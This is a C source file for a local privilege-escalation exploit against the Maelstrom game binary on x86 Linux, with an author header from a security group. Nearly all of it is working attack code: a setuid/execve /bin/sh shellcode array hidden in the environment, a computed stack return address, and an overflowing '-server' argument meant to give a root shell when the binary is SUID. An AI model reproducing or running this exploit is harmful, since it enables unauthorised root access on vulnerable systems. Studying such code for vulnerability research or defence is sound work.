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maelexp.c
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2005-02-12
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91 lines
/* /usr/bin/Maelstrom local exploit
*** Sorry for my poor english.
*** Others exploit can't exploit my Maelstrom,So I
wrote this exploit just for fun.
*** I can't get a rootshell on my linux ,because it's
not SUID.
*** If it SUID ,this exploit can make you get a rootshell.
*** Tested on redhat9.0 ,other linux maybe OK,too.
***
*** Thanks netric's good paper.
*** You can downlocd it here
http://www.netric.org/papers/envpaper.pdf
*** This paper make me write this exploit don't need to
guess ret.
*** Thanks jsk and axis for their help.
***
*** CONTACT:OYXin@ph4nt0m.net
*** COPYRIGHT (c) 2003 PH4NT0M SECURITY
*** http://www.ph4nt0m.net
*** 2003.5.23
Coded by OYXin(ph4nt0m)
Welcome to http://www.ph4nt0m.net
*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define bufsize 8179
/* linux x86 shellcode by bob from dtors.net,23
bytes,thx them. */
static char shellcode[] =
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
int main(int argc,char *argv[]){
char buf[bufsize+1];
char*prog[]={"/usr/bin/Maelstrom","-server",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL};
unsigned long ret;
ret=0xc0000000-sizeof(void*)-strlen(prog[0])-strlen(shellcode)-0x02;
memset(buf, 0x90, bufsize);
memset(buf,0x32,sizeof("1"));
memset(buf+1,0x40,sizeof("1"));
memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(2*sizeof(ret))], &ret,sizeof(ret));
memcpy(&buf[bufsize-(3*sizeof(ret))], &ret,sizeof(ret));
memcpy(&buf[bufsize-(4*sizeof(ret))], &ret,sizeof(ret));
buf[bufsize] = '\0';
execve(prog[0],prog,env);
return 0;
}